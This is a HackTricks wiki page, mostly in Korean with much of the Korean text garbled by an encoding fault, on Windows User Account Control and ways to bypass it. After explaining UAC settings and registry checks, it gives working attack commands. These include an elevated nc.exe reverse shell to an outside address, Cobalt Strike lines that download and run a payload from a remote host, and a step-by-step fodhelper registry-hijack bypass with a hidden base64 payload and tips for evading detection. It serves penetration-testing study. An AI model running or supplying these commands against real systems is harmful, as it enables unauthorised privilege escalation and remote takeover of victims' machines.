UAC - ์ฌ์ฉ์ ๊ณ์ ์ปจํธ๋กค
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
UAC
User Account Control (UAC) ๋ ๊ถํ ์์น ์์
์ ๋ํ ๋์ ํ๋กฌํํธ๋ฅผ ์ ๊ณตํ๋ ๊ธฐ๋ฅ์
๋๋ค. ์์ฉ ํ๋ก๊ทธ๋จ์ ์๋ก ๋ค๋ฅธ integrity ๋ ๋ฒจ์ ๊ฐ์ง๋ฉฐ, ๋์ ๋ ๋ฒจ์ ํ๋ก๊ทธ๋จ์ ์์คํ
์ ์์์ํฌ ์ ์๋ ์์
์ ์ํํ ์ ์์ต๋๋ค. UAC๊ฐ ํ์ฑํ๋๋ฉด, ์ ํ๋ฆฌ์ผ์ด์
๊ณผ ์์
์ ๊ด๋ฆฌ์๊ฐ ๋ช
์์ ์ผ๋ก ํด๋น ์ ํ๋ฆฌ์ผ์ด์
/์์
์ ๊ด๋ฆฌ์ ์์ค ์ ๊ทผ์ ํ์ฉํ์ง ์๋ ํ ํญ์ ๋น๊ด๋ฆฌ์ ๊ณ์ ์ ๋ณด์ ์ปจํ
์คํธ๋ก ์คํ๋ฉ๋๋ค. ์ด๋ ๊ด๋ฆฌ์๋ฅผ ์๋์น ์์ ๋ณ๊ฒฝ์ผ๋ก๋ถํฐ ๋ณดํธํ๋ ํธ์ ๊ธฐ๋ฅ์ด์ง๋ง ๋ณด์ ๊ฒฝ๊ณ๋ก ๊ฐ์ฃผ๋์ง๋ ์์ต๋๋ค.
integrity ๋ ๋ฒจ์ ๋ํ ์์ธํ ์ ๋ณด:
UAC๊ฐ ์ ์ฉ๋๋ฉด, ๊ด๋ฆฌ์ ์ฌ์ฉ์๋ 2๊ฐ์ ํ ํฐ์ ๋ถ์ฌ๋ฐ์ต๋๋ค: ์ผ๋ฐ ์์ ์ ์ํํ๋ ํ์ค ์ฌ์ฉ์ ํ ํฐ๊ณผ ๊ด๋ฆฌ์ ๊ถํ์ ๊ฐ์ง ํ ํฐ์ ๋๋ค.
์ด page ๋ UAC์ ๋์ ๋ฐฉ์(๋ก๊ทธ์จ ํ๋ก์ธ์ค, ์ฌ์ฉ์ ๊ฒฝํ, UAC ์ํคํ ์ฒ ํฌํจ)์ ๋งค์ฐ ์์ธํ ์ค๋ช ํฉ๋๋ค. ๊ด๋ฆฌ์๋ ๋ก์ปฌ ์์ค์์(secpol.msc ์ฌ์ฉ) ๋ณด์ ์ ์ฑ ์ผ๋ก ์กฐ์ง์ ๋ง๊ฒ UAC ๋์์ ๊ตฌ์ฑํ ์ ์์ผ๋ฉฐ, Active Directory ๋๋ฉ์ธ ํ๊ฒฝ์์๋ Group Policy Objects(GPO)๋ฅผ ํตํด ๊ตฌ์ฑยท๋ฐฐํฌํ ์ ์์ต๋๋ค. ๋ค์ํ ์ค์ ์ here์์ ์์ธํ ์ค๋ช ๋์ด ์์ต๋๋ค. UAC์ ๋ํด ์ค์ ํ ์ ์๋ Group Policy ์ค์ ์ 10๊ฐ๊ฐ ์์ผ๋ฉฐ, ๋ค์ ํ๋ ์ถ๊ฐ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ ๊ณตํฉ๋๋ค:
UAC Bypass Theory
์ผ๋ถ ํ๋ก๊ทธ๋จ์ ์ฌ์ฉ์๊ฐ ๊ด๋ฆฌ์ ๊ทธ๋ฃน์ ์ํด ์์ผ๋ฉด ์๋์ผ๋ก autoelevated ๋ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋ฐ์ด๋๋ฆฌ๋ค์ ๊ทธ๋ค์ Manifests ์์ ๊ฐ์ด _True_์ธ autoElevate ์ต์ ์ ํฌํจํ๊ณ ์์ด์ผ ํ๋ฉฐ, ๋ํ ๋ฐ์ด๋๋ฆฌ๋ Microsoft์ ์ํด ์๋ช ๋์ด ์์ด์ผ ํฉ๋๋ค.
๋ง์ auto-elevate ํ๋ก์ธ์ค๋ COM objects ๋๋ RPC servers๋ฅผ ํตํด ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ฉฐ, ์ด๋ medium integrity(์ผ๋ฐ ์ฌ์ฉ์ ์์ค ๊ถํ)๋ก ์คํ๋๋ ํ๋ก์ธ์ค์์ ํธ์ถํ ์ ์์ต๋๋ค. COM(Component Object Model)๊ณผ RPC(Remote Procedure Call)๋ Windows ํ๋ก๊ทธ๋จ์ด ์๋ก ๋ค๋ฅธ ํ๋ก์ธ์ค ๊ฐ์ ํต์ ํ๊ณ ๊ธฐ๋ฅ์ ์คํํ๋ ๋ฐฉ๋ฒ์
๋๋ค. ์๋ฅผ ๋ค์ด, **IFileOperation COM object**๋ ํ์ผ ์์
(๋ณต์ฌ, ์ญ์ , ์ด๋)์ ์ฒ๋ฆฌํ๋๋ก ์ค๊ณ๋์์ผ๋ฉฐ ํ๋กฌํํธ ์์ด ์๋์ผ๋ก ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค.
ํ๋ก์ธ์ค๊ฐ System32 directory์์ ์คํ๋์๋์ง ํ์ธํ๋ ๋ฑ์ ๊ฒ์ฌ๊ฐ ์ํ๋ ์ ์๋๋ฐ, ์ด๋ ์๋ฅผ ๋ค์ด injecting into explorer.exe ๋๋ System32์ ์์นํ ๋ค๋ฅธ ์คํ ํ์ผ์ ์ฃผ์ ํจ์ผ๋ก์จ ์ฐํํ ์ ์์ต๋๋ค.
์ด๋ฌํ ๊ฒ์ฌ๋ฅผ ์ฐํํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ PEB๋ฅผ ์์ ํ๋ ๊ฒ์ ๋๋ค. Windows์ ๋ชจ๋ ํ๋ก์ธ์ค๋ ์คํ ํ์ผ ๊ฒฝ๋ก ๋ฑ ํ๋ก์ธ์ค์ ๊ดํ ์ค์ํ ๋ฐ์ดํฐ๋ฅผ ํฌํจํ๋ Process Environment Block(PEB)์ ๊ฐ์ง๊ณ ์์ต๋๋ค. PEB๋ฅผ ์์ ํจ์ผ๋ก์จ ๊ณต๊ฒฉ์๋ ์์ ์ ์ ์ฑ ํ๋ก์ธ์ค์ ์์น๋ฅผ ์์กฐ(spoof)ํ์ฌ ์ ๋ขฐ๋๋ ๋๋ ํฐ๋ฆฌ(์: system32)์์ ์คํ๋๋ ๊ฒ์ฒ๋ผ ๋ณด์ด๊ฒ ํ ์ ์์ต๋๋ค. ์ด ์คํธํ๋ ์ ๋ณด๋ COM ๊ฐ์ฒด๋ฅผ ์์ฌ ์ฌ์ฉ์์๊ฒ ํ๋กฌํํธ๋ฅผ ํ์ํ์ง ์๊ณ ๊ถํ์ ์๋์ผ๋ก ์์น์ํค๊ฒ ํฉ๋๋ค.
๊ทธ ๊ฒฐ๊ณผ UAC๋ฅผ bypass(medium ๋ฌด๊ฒฐ์ฑ ์์ค์์ high๋ก ์์น)ํ๊ธฐ ์ํด ์ผ๋ถ ๊ณต๊ฒฉ์๋ ์ด๋ฌํ ์ข ๋ฅ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ด์ฉํด execute arbitrary code๋ฅผ ์ํํฉ๋๋ค. ์ด๋ ์ฝ๋๊ฐ High level integrity process์์ ์คํ๋๊ธฐ ๋๋ฌธ์ ๋๋ค.
๋ฐ์ด๋๋ฆฌ์ _Manifest_๋ Sysinternals์ ๋๊ตฌ _sigcheck.exe_๋ก ํ์ธํ ์ ์์ต๋๋ค. (sigcheck.exe -m <file>) ๋ํ ํ๋ก์ธ์ค์ integrity level์ Sysinternals์ Process Explorer ๋๋ _Process Monitor_๋ก ํ์ธํ ์ ์์ต๋๋ค.
Check UAC
UAC๊ฐ ํ์ฑํ๋์ด ์๋์ง ํ์ธํ๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
๋ง์ฝ **1**์ด๋ฉด UAC๋ ํ์ฑํ๋จ, **0**์ด๊ฑฐ๋ ์กด์ฌํ์ง ์์ผ๋ฉด UAC๋ ๋นํ์ฑํ๋จ.
๊ทธ๋ฐ ๋ค์, ์ด๋ค ๋ ๋ฒจ์ด ๊ตฌ์ฑ๋์ด ์๋์ง ํ์ธํ์ธ์:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- If
0then, UAC wonโt prompt (like ์ฌ์ฉ ์ ํจ) - If
1the admin is ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ์๊ตฌ๋ฐ์ to execute the binary with high rights (on ๋ณด์ ๋ฐ์คํฌํฑ) - If
2(ํญ์ ์๋ฆผ) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on ๋ณด์ ๋ฐ์คํฌํฑ) - If
3like1but not necessary on ๋ณด์ ๋ฐ์คํฌํฑ - If
4like2but not necessary on ๋ณด์ ๋ฐ์คํฌํฑ - if
5(๊ธฐ๋ณธ๊ฐ) it will ask the administrator to confirm to run non Windows binaries with high privileges
Then, you have to take a look at the value of LocalAccountTokenFilterPolicy
If the value is 0, then, only the RID 500 user (built-in Administrator) is able to perform admin tasks without UAC, and if its 1, all accounts inside โAdministratorsโ group can do them.
And, finally take a look at the value of the key FilterAdministratorToken
If 0(default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.
Summary
- If
EnableLUA=0or ์กด์ฌํ์ง ์์, ์๋ฌด์๊ฒ๋ UAC ์์ - If
EnableLua=1andLocalAccountTokenFilterPolicy=1, ์๋ฌด์๊ฒ๋ UAC ์์ - If
EnableLua=1andLocalAccountTokenFilterPolicy=0andFilterAdministratorToken=0, RID 500 (Built-in Administrator)์๋ UAC ์์ - If
EnableLua=1andLocalAccountTokenFilterPolicy=0andFilterAdministratorToken=1, ๋ชจ๋ ์ฌ์ฉ์์๊ฒ UAC ์ ์ฉ
All this information can be gathered using the metasploit module: post/windows/gather/win_privs
You can also check the groups of your user and get the integrity level:
net user %username%
whoami /groups | findstr Level
UAC ์ฐํ
Tip
ํผํด์์ ๊ทธ๋ํฝ์ผ๋ก ์ ๊ทผํ ์ ์๋ค๋ฉด, UAC ํ๋กฌํํธ๊ฐ ๋ฐ ๋ ๋จ์ํ โ์โ๋ฅผ ํด๋ฆญํ๋ฉด ๋๋ฏ๋ก UAC ์ฐํ๋ ๋งค์ฐ ๊ฐ๋จํ๋ค๋ ์ ์ ์ฐธ๊ณ ํ์ธ์
UAC ์ฐํ๋ ๋ค์ ์ํฉ์์ ํ์ํฉ๋๋ค: UAC๊ฐ ํ์ฑํ๋์ด ์๊ณ , ํ๋ก์ธ์ค๊ฐ medium integrity context์์ ์คํ ์ค์ด๋ฉฐ, ์ฌ์ฉ์๊ฐ administrators ๊ทธ๋ฃน์ ์ํด ์๋ ๊ฒฝ์ฐ.
ํนํ UAC๊ฐ ์ต๊ณ ๋ณด์ ์์ค(Always)์ ์ค์ ๋ ๊ฒฝ์ฐ์๋ ๋ค๋ฅธ ๋ชจ๋ ์์ค(Default)์ ๋นํด UAC๋ฅผ ์ฐํํ๊ธฐ๊ฐ ํจ์ฌ ๋ ์ด๋ ต๋ค๋ ์ ์ ์ธ๊ธํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
UAC disabled
UAC๊ฐ ์ด๋ฏธ ๋นํ์ฑํ๋์ด ์๋ ๊ฒฝ์ฐ (ConsentPromptBehaviorAdmin์ด 0) ๋ค์๊ณผ ๊ฐ์ด reverse shell์ admin privileges๋ก ์คํํ ์ ์์ต๋๋ค (high integrity level) ๋ค์๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC bypass with token duplication
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Very Basic UAC โbypassโ (full file system access)
๋ง์ฝ Administrators ๊ทธ๋ฃน์ ์ํ ์ฌ์ฉ์๋ก ์์ด ์๋ค๋ฉด, ๋ก์ปฌ์์ SMB๋ฅผ ํตํด mount the C$ ๊ณต์ ๋ฅผ ์ ๋์คํฌ๋ก ๋ง์ดํธํ ์ ์๊ณ , ๊ทธ๋ฌ๋ฉด ํ์ผ ์์คํ ๋ด๋ถ์ ๋ชจ๋ ํญ๋ชฉ์ access to everything inside the file system (์ฌ์ง์ด Administrator home folder๊น์ง) ์ ๊ทผํ ์ ์์ต๋๋ค.
Warning
์ด ๋ฐฉ๋ฒ์ ๋ ์ด์ ์๋ํ์ง ์๋ ๊ฒ ๊ฐ์ต๋๋ค
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC bypass with cobalt strike
Cobalt Strike ๊ธฐ์ ์ UAC๊ฐ ์ต๋ ๋ณด์ ์์ค์ผ๋ก ์ค์ ๋์ด ์์ง ์์ ๊ฒฝ์ฐ์๋ง ์๋ํฉ๋๋ค.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire์ Metasploit์๋ UAC๋ฅผ bypassํ๊ธฐ ์ํ ์ฌ๋ฌ ๋ชจ๋๋ ์๋ค.
KRBUACBypass
๋ฌธ์์ ๋๊ตฌ: https://github.com/wh0amitz/KRBUACBypass
UAC bypass exploits
UACME ๋ ์ฌ๋ฌ UAC bypass exploits์ ๋ชจ์์ง์ด๋ค. ์ฐธ๊ณ ๋ก compile UACME using visual studio or msbuild ํด์ผ ํ๋ค. ์ปดํ์ผํ๋ฉด ์ฌ๋ฌ ์คํ ํ์ผ(์: Source\Akagi\outout\x64\Debug\Akagi.exe)์ด ์์ฑ๋๋ฉฐ, ์ด๋ค ํ์ผ์ด ํ์ํ์ง ์์์ผ ํ๋ค.
์ผ๋ถ bypass๋ ๋ค๋ฅธ ํ๋ก๊ทธ๋จ์ ํธ์ถํ์ฌ ์ฌ์ฉ์์๊ฒ ์๋ฆผ์ ๋ณด๋ผ ์ ์์ผ๋ฏ๋ก ์ฃผ์ํด์ผ ํ๋ค.
UACME์๋ ๊ฐ technique๊ฐ ๋์์ ์์ํ build version์ด ๊ธฐ์ฌ๋์ด ์๋ค. ์์ ์ ๋ฒ์ ์ ์ํฅ์ ์ฃผ๋ technique๋ฅผ ๊ฒ์ํ ์ ์๋ค:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
๋ํ, this ํ์ด์ง๋ฅผ ์ฌ์ฉํ๋ฉด ๋น๋ ๋ฒ์ ์์ Windows ๋ฆด๋ฆฌ์ค 1607์ ํ์ธํ ์ ์์ต๋๋ค.
UAC Bypass โ fodhelper.exe (Registry hijack)
์ ๋ขฐ๋ ๋ฐ์ด๋๋ฆฌ fodhelper.exe๋ ์ต์ Windows์์ auto-elevated ๋ฉ๋๋ค. ์คํ๋ ๋, ์๋์ per-user registry path๋ฅผ ์กฐํํ๋ฉฐ DelegateExecute verb๋ฅผ ๊ฒ์ฆํ์ง ์์ต๋๋ค. ๊ทธ ์์น์ ๋ช
๋ น์ ์ฌ์ผ๋ฉด Medium Integrity ํ๋ก์ธ์ค(์ฌ์ฉ์๊ฐ Administrators์ ์๋ ๊ฒฝ์ฐ)๊ฐ UAC prompt ์์ด High Integrity ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ์ ์์ต๋๋ค.
Registry path queried by fodhelper:
HKCU\Software\Classes\ms-settings\Shell\Open\command
PowerShell ๋จ๊ณ (set your payload, then trigger):
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
Notes:
- ํ์ฌ ์ฌ์ฉ์๊ฐ Administrators ๋ฉค๋ฒ์ด๊ณ UAC ๋ ๋ฒจ์ด ๊ธฐ๋ณธ/๊ด๋(default/lenient)์ผ ๋ ์๋ํฉ๋๋ค (Always Notify with extra restrictions๊ฐ ์๋ ๊ฒฝ์ฐ).
- 64-bit Windows์์ 32-bit ํ๋ก์ธ์ค์์ 64-bit PowerShell์ ์์ํ๋ ค๋ฉด
sysnative๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ์ธ์. - Payload๋ PowerShell, cmd ๋๋ EXE ๊ฒฝ๋ก ๋ฑ ์ด๋ค ๋ช ๋ น์ด๋ ๋ ์ ์์ต๋๋ค. ์๋ฐ์ฑ์ ์ํด ํ๋กฌํํธ UI๋ฅผ ์ ๋ฐํ๋ ๊ฒ์ ํผํ์ธ์.
More UAC bypass
All the techniques used here to bypass AUC require a full interactive shell with the victim (a common nc.exe shell is not enough).
You can get using a meterpreter session. Migrate to a process that has the Session value equals to 1:
.png)
(_explorer.exe_๊ฐ ์๋ํด์ผ ํฉ๋๋ค)
UAC Bypass with GUI
GUI์ ์ ๊ทผํ ์ ์๋ค๋ฉด, UAC prompt๊ฐ ๋ฐ ๋ ๋จ์ํ ์น์ธํ๋ฉด ๋๋ฏ๋ก ์ค์ ๋ก bypass๊ฐ ํ์ํ์ง ์์ต๋๋ค. ๋ฐ๋ผ์ GUI ์ ๊ทผ์ ์ป์ผ๋ฉด UAC๋ฅผ ์ฐํํ ์ ์์ต๋๋ค.
๋ํ, ๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ์ฌ์ฉ ์ค์ด๋ GUI ์ธ์ (์: RDP)์ ํ๋ณดํ๋ฉด, ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก ์คํ๋๋ ์ผ๋ถ ๋๊ตฌ๋ค์ด ์์ด ๊ฑฐ๊ธฐ์์ ์๋ฅผ ๋ค์ด cmd๋ฅผ ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก ์ง์ ์คํํ ์ ์๊ณ ์ด ๊ฒฝ์ฐ ๋ค์ UAC๋ก ํ๋กฌํํธ๋์ง ์์ต๋๋ค. ์: https://github.com/oski02/UAC-GUI-Bypass-appverif. ์ด๊ฒ์ ์ข ๋ ์๋ฐํ ์ ์์ต๋๋ค.
Noisy brute-force UAC bypass
์์(๋ ธ์ด์ฆ)์ ์ ๊ฒฝ์ฐ์ง ์๋๋ค๋ฉด https://github.com/Chainski/ForceAdmin ๊ฐ์ ๊ฒ์ ์คํํ์ฌ ์ฌ์ฉ์๊ฐ ์๋ฝํ ๋๊น์ง ๊ถํ ์์น์ ์์ฒญํ๊ฒ ํ ์ ์์ต๋๋ค.
Your own bypass - Basic UAC bypass methodology
UACME๋ฅผ ๋ณด๋ฉด ๋๋ถ๋ถ์ UAC ์ฐํ๋ Dll Hijacking ์ทจ์ฝ์ ์ ์ ์ฉํ๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค (์ฃผ๋ก ์ ์ฑ dll์ _C:\Windows\System32_์ ์๋๋ค). Read this to learn how to find a Dll Hijacking vulnerability.
- autoelevateํ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฐพ์ผ์ธ์ (์คํ ์ ๋์ ๋ฌด๊ฒฐ์ฑ ๋ ๋ฒจ์์ ๋์ํ๋์ง ํ์ธ).
- procmon์ ์ฌ์ฉํด โNAME NOT FOUNDโ ์ด๋ฒคํธ๋ฅผ ์ฐพ์ DLL Hijacking์ ์ทจ์ฝํ ์์น๋ฅผ ํ์ธํ์ธ์.
- ์ฐ๊ธฐ ๊ถํ์ด ์๋ ์ผ๋ถ protected paths(์: C:\Windows\System32)์ DLL์ writeํด์ผ ํ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
- wusa.exe: Windows 7, 8 ๋ฐ 8.1. ์ด ๋๊ตฌ๋ ๋์ ๋ฌด๊ฒฐ์ฑ ๋ ๋ฒจ์์ ์คํ๋๋ฏ๋ก CAB ํ์ผ์ ๋ด์ฉ์ ๋ณดํธ๋ ๊ฒฝ๋ก์ ์ถ์ถํ ์ ์๊ฒ ํด์ค๋๋ค.
- IFileOperation: Windows 10.
- ๋ณดํธ๋ ๊ฒฝ๋ก์ DLL์ ๋ณต์ฌํ๊ณ ์ทจ์ฝํ๊ณ autoelevated๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋๋ก ํ๋ script๋ฅผ ์ค๋นํ์ธ์.
Another UAC bypass technique
autoElevated binary๊ฐ ๋ ์ง์คํธ๋ฆฌ์์ ์คํํ ๋ฐ์ด๋๋ฆฌ๋ ๋ช ๋ น์ name/path๋ฅผ readํ๋ ค๊ณ ํ๋์ง ๊ด์ฐฐํ๋ ๊ธฐ๋ฒ์ ๋๋ค (ํด๋น ๋ฐ์ด๋๋ฆฌ๊ฐ ์ด ์ ๋ณด๋ฅผ HKCU์์ ์ฐพ๋๋ค๋ฉด ๋ ํฅ๋ฏธ๋กญ์ต๋๋ค).
References
- HTB: Rainbow โ SEH overflow to RCE over HTTP (0xdf) โ fodhelper UAC bypass steps
- LOLBAS: Fodhelper.exe
- Microsoft Docs โ How User Account Control works
- UACME โ UAC bypass techniques collection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


